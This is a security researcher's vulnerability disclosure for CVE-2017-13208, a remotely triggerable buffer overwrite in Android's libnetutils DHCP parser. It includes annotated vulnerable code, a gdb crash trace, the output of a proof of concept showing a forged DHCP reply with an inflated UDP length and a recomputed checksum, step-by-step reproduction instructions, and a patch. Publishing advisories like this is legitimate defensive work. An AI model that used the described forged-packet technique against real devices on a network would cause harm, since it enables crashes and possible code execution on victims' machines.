Skip to content

Latest commit

 

History

History
 
 

cve-2017-13208

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 

Preliminary VuNote

Author:     <github.com/tintinweb>
Ref:        https://github.com/tintinweb/pub/tree/master/pocs/cve-2017-13208
Version:    0.1
Date:       Oct 05th, 2017

Tag:        android platform system core libnetutils dhcp parser buffer overwrite

Overview

Name:           android.platform.system.core.libnetutils
Vendor:         google
References:     * https://android.googlesource.com/platform/system/core/+/master/libnetutils [1]
                * https://source.android.com/security/bulletin/2018-01-01 [2]

Version:        7cdc0a3edc816cf81cecab35b85bd55bea7b5015
Latest Version: 7cdc0a3edc816cf81cecab35b85bd55bea7b5015 (master)
Other Versions: 5.1.1, 6.0, 6.0.1, 7.0, 7.1.1, 7.1.2, 8.0, 8.1 [5]
Platform(s):    cross
Technology:     c

Vuln Classes:   CWE-121, CWE-122
Origin:         remote
Min. Privs.:    none

CVE:            CVE-2017-13208
Android-BUGId:  A-67474440 [3]

Description

quote Android Open Source Project (AOSP) [4]

Android is an open source software stack for a wide range of mobile devices and a corresponding open source project led by Google. This site and the Android Open Source Project (AOSP) repository offer the information and source code you need to create custom variants of the Android stack, port devices and accessories to the Android platform, and ensure your devices meet compatibility requirements.

Summary

quote cve.mitre.org [5]

In receive_packet of libnetutils/packet.c, there is a possible out-of-bounds write due to a missing bounds check on the DHCP response. This could lead to remote code execution as a privileged process with no additional execution privileges needed. User interaction is not needed for exploitation. Product: Android. Versions: 5.1.1, 6.0, 6.0.1, 7.0, 7.1.1, 7.1.2, 8.0, 8.1. Android ID: A-67474440.

Details

Android Security Bulletin [2]: RCE | Critical | 5.1.1, 6.0, 6.0.1, 7.0, 7.1.1, 7.1.2, 8.0, 8.1 Android Issue Tracker [3]: A-67470944

  • Briefly describe the issue including source file and function

    a straight forward remote buffer overwrite found in the DHCP handling routines of libnetutils. Specifically, the libnetutils::receive_packet handler is missing some bounds checks for dhcp_size (UDP.length - UDP struct size). A third-party entity on the same network segment, may, by quickly answering DHCP requests, control the value of dhcp_size that is used in a subsequent call to memcpy by hinting an arbitrary large UDP.length datagram length leading to OOB access/write conditions.

  • Provide details such as what is the root cause of the issue, steps to reproduce the issue

    receive_packet takes a file-descriptor s and a struct dhcp_msg msg. The latter is the destination buffer allocated by the caller. The method first reads up to sizeof(packet) bytes from the file-descriptor and then attempts to perform sanity checks to validate the IP/DHCP packet.

    1. It first checks if enough bytes were received to fit an IP+UDP header. - Valid IP/UDP packet
    2. It then checks if it was an IPv4 packet was received completely. - Valid IPv4
    3. It then checks if it did not receive the total IP packets size. - Valid NonFrag
    4. It then checks if the next protocol is UDP. - Valid UDP nextproto hint.
    5. It then checks if the dest IP matches the BOOTP/DHCP client port. - Is DHCP Response
    6. It then checks if the IP checksum is correct. - Valid IP Checksum
    7. It then checks if the UDP checksum is valid. - Valid UDP Checksum Given all of the checks pass the method copies dhcp_size bytes from packet.dhcp (stack) to the caller allocated struct dhcp_msg msg. An attacker is in control of dhcp_size and packet.dhcp by forging valid (to rules 1-7) DHCP packets hinting an arbitrary (to the extent of the UDP.length field) UDP.length and recalculating the checksum to satisfy 7. That way an attacker has control over the amount of bytes copied from the fixed size buffers struct dhcp_packet to struct dhcp_msg. This typically ends in a SIGSEGV caused by an OOB read/write condition.

    Git Tags/Branches: master -> back to android-1.6r1

  • Include function code with line numbers and add comments (if possible) to specify the line of vulnerable code:

    Source: https://android.googlesource.com/platform/system/core/+/master/libnetutils/packet.c Method: receive_packet() @ packet.c:156 Crash: memcpy() @ packet:239 PoI: dhcp_size @ packet:220

    // Note: annotations are prefixed with //#!

int receive_packet(int s, struct dhcp_msg *msg)
{
    int nread;
    int is_valid;
    struct dhcp_packet {
        struct iphdr ip;
        struct udphdr udp;
        struct dhcp_msg dhcp;
    } packet;
    int dhcp_size;
    uint32_t sum;
    uint16_t temp;
    uint32_t saddr, daddr;
    nread = read(s, &packet, sizeof(packet));       //#!  store incoming data in struct dhcp_packet packet
    if (nread < 0) {
        return -1;
    }
    /*
     * The raw packet interface gives us all packets received by the
     * network interface. We need to filter out all packets that are
     * not meant for us.
     */
    is_valid = 0;
    //#!  we can easily satisfy all these checks while providing an overly large UDP.length
    //#!  <--- begin checks
    if (nread < (int)(sizeof(struct iphdr) + sizeof(struct udphdr))) {
#if VERBOSE
        ALOGD("Packet is too small (%d) to be a UDP datagram", nread);
#endif
    } else if (packet.ip.version != IPVERSION || packet.ip.ihl != (sizeof(packet.ip) >> 2)) {
#if VERBOSE
        ALOGD("Not a valid IP packet");
#endif
    } else if (nread < ntohs(packet.ip.tot_len)) {
#if VERBOSE
        ALOGD("Packet was truncated (read %d, needed %d)", nread, ntohs(packet.ip.tot_len));
#endif
    } else if (packet.ip.protocol != IPPROTO_UDP) {
#if VERBOSE
        ALOGD("IP protocol (%d) is not UDP", packet.ip.protocol);
#endif
    } else if (packet.udp.dest != htons(PORT_BOOTP_CLIENT)) {
#if VERBOSE
        ALOGD("UDP dest port (%d) is not DHCP client", ntohs(packet.udp.dest));
#endif
    } else {
        is_valid = 1;
    }
    //#!  ---> end checks
    //#!  missing bounds checks for UDP.length aka packet.udp.len
    if (!is_valid) {
        return -1;
    }
    /* Seems like it's probably a valid DHCP packet */
    /* validate IP header checksum */
    //#!  we do not mess with the IP header
    sum = finish_sum(checksum(&packet.ip, sizeof(packet.ip), 0));
    if (sum != 0) {
        ALOGW("IP header checksum failure (0x%x)", packet.ip.check);
        return -1;
    }
    /*
     * Validate the UDP checksum.
     * Since we don't need the IP header anymore, we "borrow" it
     * to construct the pseudo header used in the checksum calculation.
     */
    dhcp_size = ntohs(packet.udp.len) - sizeof(packet.udp);         //#! packet.udp.len is under control
    saddr = packet.ip.saddr;
    daddr = packet.ip.daddr;
    nread = ntohs(packet.ip.tot_len);
    memset(&packet.ip, 0, sizeof(packet.ip));
    packet.ip.saddr = saddr;
    packet.ip.daddr = daddr;
    packet.ip.protocol = IPPROTO_UDP;
    packet.ip.tot_len = packet.udp.len;
    temp = packet.udp.check;
    packet.udp.check = 0;
    sum = finish_sum(checksum(&packet, nread, 0));
    packet.udp.check = temp;
    if (!sum)
        sum = finish_sum(sum);
    //#!  the poc re-calculates the UDP checksum in order to satisfy this check
    if (temp != sum) {
        ALOGW("UDP header checksum failure (0x%x should be 0x%x)", sum, temp);
        return -1;
    }
    memcpy(msg, &packet.dhcp, dhcp_size);       //#!  dhcp_size is under control
    //#!  boom! - dhcp_size largerthan src/dst buffer
    return dhcp_size;
}
  • Provide crash artifacts including stack trace (if available)
//vm-A: python dhcp_poc3.py eth1
//vm-B: sudo gdb --args ./sniff_poc eth1
//vm-B: dhclient eth1

// annotations are prefixed with //#!


    tin@ubuntu:~$ sudo gdb --args ./sniff_poc eth1
    (gdb) r
    Starting...
    got pkt

    [+] got UDP  - 28 bytes
    [+] wrap read data with shm_open() to create an fd that cann be passed to receive_packet(fd, &dhcp_msg)
    [+] calling receive_packet

    Program received signal SIGSEGV, Segmentation fault.
    __memcpy_sse2_unaligned () at ../sysdeps/i386/i686/multiarch/memcpy-sse2-unaligned.S:483
    483     ../sysdeps/i386/i686/multiarch/memcpy-sse2-unaligned.S: No such file or directory.
    (gdb) i r
    eax            0xbffff220       -1073745376
    ecx            0x2320   8992
    edx            0xbffff750       -1073744048
    ebx            0xb7fa9000       -1208315904
    esp            0xbffff1b8       0xbffff1b8
    ebp            0xbffff718       0xbffff718
    esi            0xb7fa9000       -1208315904
    edi            0xb7fa9000       -1208315904
    eip            0xb7f1dbe3       0xb7f1dbe3 <__memcpy_sse2_unaligned+51>
    eflags         0x10283  [ CF SF IF RF ]
    cs             0x73     115
    ss             0x7b     123
    ds             0x7b     123
    es             0x7b     123
    fs             0x0      0
    gs             0x33     51

    (gdb) bt
    #0  __memcpy_sse2_unaligned () at ../sysdeps/i386/i686/multiarch/memcpy-sse2-unaligned.S:483
    #1  0x0804a033 in receive_packet (s=7, msg=0xbffff750) at packet.c:239
    #2  0x08048bfb in ProcessPacket (buffer=0x804d008 "E", size=28) at sniffer.c:102
    #3  0x08048a57 in main () at sniffer.c:63

    (gdb) bt full
    #0  __memcpy_sse2_unaligned () at ../sysdeps/i386/i686/multiarch/memcpy-sse2-unaligned.S:483
    No locals.
    #1  0x0804a033 in receive_packet (s=7, msg=0xbffff750) at packet.c:239
            nread = 28          //#!  we've actually only received 28 bytes
            is_valid = 1        //#!  the packet is valid up to the memcpy
            packet = {ip = {ihl = 0, version = 0, tos = 0 '\000', tot_len = 10275, id = 0, frag_off = 0, ttl = 0 '\000', protocol = 17 '\021', check = 0, saddr = 2390337728,
                daddr = 2356783296}, udp = {{{uh_sport = 17152, uh_dport = 17408, uh_ulen = 10275, uh_sum = 43844}, {source = 17152, dest = 17408, len = 10275, check = 43844}}},
              dhcp = {op = 128 '\200', htype = 150 '\226', hlen = 227 '\343', hops = 183 '\267', xid = 2, secs = 0, flags = 0, ciaddr = 88, yiaddr = 1, siaddr = 0, giaddr = 0,
                chaddr = "\377\377\377\377\000\000\000\000\300\377\377\377\000\227Ý·",
                sname = "\000\000\000\000\300\251\004\b\001\000\000\000\003\000\000\000\020\320\005\b\000\000\000\000\300\377\377\377Ä©\004\b\330\366\377\277\017\251\004\b\001\000\000\000\036\000\000\000\020\320\005\b\000\000\000\000\220\060\345\267\020\320\005\b",
                file = "\000\000\000\000\000\000\000\000\300\377\377\377\000\227Ý·\000\000\000\000\202\243\004\b\220\060\345\267\020\320\005\b", '\000' <repeats 12 times>, "\213\243\004\b$\367\377\277\000\000\000\000\220\060\345\267`\235\372\267\000\000\000\000\000\000\000\000\220\060\345\267`\235\372\267", '\000' <repeats 47 times>,
                options = "c\202Sc5\001\005\066\004\300\250y\376\063\004\000\000\a\b\001\004\377\377\377\000\034\004\300\250y\377\017\vlocaldomain\006\004\300\250y\001\377", '\000' <repeats 14 times>, "\320\377\267\020@ß·\242\227\376\267\270\321\377\267`\330\377\267\001\000\000\000\001", '\000' <repeats 28 times>, "\360\377\267\000\305Ý·", '\000' <repeats 12 times>, "\230\006\340\267\000\000\000\000\000\000\000\000\353\226\376\267\000@ß·\350\312\336\267\200\000\000\000\000@ß·\020\377\376\267\000\000\000\000\000@ß·\000@ß·\020\364\377\277\026\302ì·ªs\336\267\350\312\336\267\020\364\377\277", '\000' <repeats 20 times>...}}
            dhcp_size = 8992    //#!  the poc hints a UDP.length of 9000. dhcp_size = 9000-sizeof(packet.udp)
            sum = 43844         //#!  checksum matches temp
            temp = 43844
            saddr = 2390337728
            daddr = 2356783296

    //#!  frames of the sniffer PoC code. ignore this part
    #2  0x08048bfb in ProcessPacket (buffer=0x804d008 "E", size=28) at sniffer.c:102
            s = 7
            msg = {op = 2 '\002', htype = 1 '\001', hlen = 6 '\006', hops = 0 '\000', xid = 448147327, secs = 0, flags = 0, ciaddr = 0, yiaddr = 2356783296, siaddr = 4269385920,
              giaddr = 0, chaddr = "\000\f)ܻ1\000\000\000\000\000\000\000\000\000", sname = '\000' <repeats 63 times>, file = '\000' <repeats 127 times>,
              options = "c\202Sc5\001\005\066\004\300\250y\376\063\004\000\000\a\b\001\004\377\377\377\000\034\004\300\250y\377\017\vlocaldomain\006\004\300\250y\001\377", '\000' <repeats 13 times>, "\370\370\377\277@\371\377\277KJ\376\267\020\257Ý·\370\370\377\277t\372\377\267\002\000\000\000p\330\377\267\001\000\000\000\000\000\000\000\001\000\000\000\000\320\377\267\001\000\000\000\000\000\000\000\001\000\000\000\000\320\377\267", '\000' <repeats 21 times>, "\360\377\267\000\320\377\267\360\370\377\277\347\305Ý·\000\000\000\000\204\371\377\277\000\371\377\277\315\305Ý·\377\377\377\377\224\371\377\277h\351ß·\020{\375\267\377\377\377\377\000\000\000\000"...}
            ret = 300
            iph = 0x804d008
    #3  0x08048a57 in main () at sniffer.c:63
            saddr_size = 16
            data_size = 28
            saddr = {sa_family = 2, sa_data = "\000\000\300\250y\216\000\000\000\000\000\000\000"}
            in = {s_addr = 16}
            buffer = 0x804d008 "E"

The output of the PoC and the sent packet:

[+] building malformed reply ...
[i] --> received vendor_class = None
[i] --> new checksum = f5fa
###[ Ethernet ]###
  dst       = 00:0c:29:dc:bb:31
  src       = 00:0c:29:5a:a5:9b
  type      = 0x800
###[ IP ]###
     version   = 4
     ihl       = None
     tos       = 0x0
     len       = None
     id        = 1
     flags     =
     frag      = 0
     ttl       = 64
     proto     = udp
     chksum    = None
     src       = 192.168.2.116
     dst       = 0.0.0.0
     \options   \
###[ UDP ]###
        sport     = bootps
        dport     = bootpc
        len       = 9000        //#!  even though the packet is only 28 bytes we hint 9000
        chksum    = 0xf5fa      //#!  and we fix the checksum
[+] sending malformed reply ...
.
Sent 1 packets.
  • Build fingerprint from the device used to reproduce the issue

    N/A. Found while browsing the android source code repositories. My nexus does not seem to ship this code. However, there were recent changes to the codebase suggesting this code may still be maintained.

  • CTS test

    N/A. see patch/fix

  • Patch / fix

    I'd probably opt to remove this from the repository if there's no dependencies to it in order to not create a false sense of it being maintained and therefore used by other projects/manufactures. There's some pot. int signedness issues as well and the code does not really seem to follow the quality guideline to the extend other modules are doing it. Nevertheless, here's a patch that validates dhcp_size.

--- packet.c    2017-10-05 13:43:05.000000000 -0700
+++ packet.c.new        2017-10-05 13:37:12.450271294 -0700
@@ -218,6 +218,20 @@
      * to construct the pseudo header used in the checksum calculation.
      */
     dhcp_size = ntohs(packet.udp.len) - sizeof(packet.udp);
+    /*
+     * check validity of dhcp_size.
+     * 1) cannot be negative or zero.
+     * 2) src buffer contains enough bytes to copy
+     * 3) cannot exceed destination buffer
+     */
+    if (dhcp_size <= 0 || (nread - sizeof(struct iphdr) - sizeof(struct udphdr) < dhcp_size) || sizeof(struct dhcp_msg) < dhcp_size) {
+#if VERBOSE
+        ALOGD("Malformed Packet");
+#endif
+        return -1;
+    }
+
+
     saddr = packet.ip.saddr;
     daddr = packet.ip.daddr;
     nread = ntohs(packet.ip.tot_len);
  • Proof of Concept

    [vm-A - attacker][eth1]---------------DHCP--------------[eth1][vm-B - victim]

    // Note: the PoC performs some magic in order to satisfy receive_packet's interface. This // is intentional to not require any changes to the original packet.c.

    • vm-A - the attacker: ** both machines must be on the same network segment (DHCP) ** ubuntu linux; vmware may require to allow promisc. mode in vm netif settings
    1. install python2.x

    2. install scapy - pip install scapy or apt|yum install python-scapy

    3. run poc.py <interface>

      The script sniffs for DHCP packets and answers with forged DHCP responses in an attempt to cause a buffer overwrite in libnetutils.

    • vm-B - the target:
    1. checkout buildme.sh, fixup.h and sniffer.c

    2. run buildme.sh 2.1) the script will download and untar libnetutils from the official repository to the current directory 2.2) and builds sniffer.c as sniffer_poc

    3. check if the build succeeds and execute sudo ./sniffer_poc <interface>

      sniffer.c is a simple raw socket packet sniffer that takes incoming UDP datagrams, wraps them as IO-objects and feeds them into the vulnerable method packet.c:receive_packet of libnetutils. This method lacks a check for the UDP packet size which allows to cause an out-of-bounds buffer write condition. The target buffer's location is up to the implementer and is being passed to receive_packet.

    4. vm-B likely already received an IP via DHCP and therefore may not re-request unless the lease expires. Since vm-A (the attacker) only sends out crafted DHCP responses for matching DHCP requests we will have to request a lease renewal (or new lease) by issuing #> dhclient <interface> (or your favorite dhcpc software). Rebooting and waiting for your device to renew/refresh the lease would be another option ;)

    5. sniffer_poc detects the UDP datagram, feeds it into libnetutils and crashes with a SIGSEGV

References

[1] https://android.googlesource.com/platform/system/core/+/master/libnetutils
[2] https://source.android.com/security/bulletin/2018-01-01
[3] https://issuetracker.google.com/issues/67470944
[4] https://source.android.com/
[5] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-13208
[6] https://android.googlesource.com/platform/system/core/+/b71335264a7c3629f80b7bf1f87375c75c42d868

Contact

https://github.com/tintinweb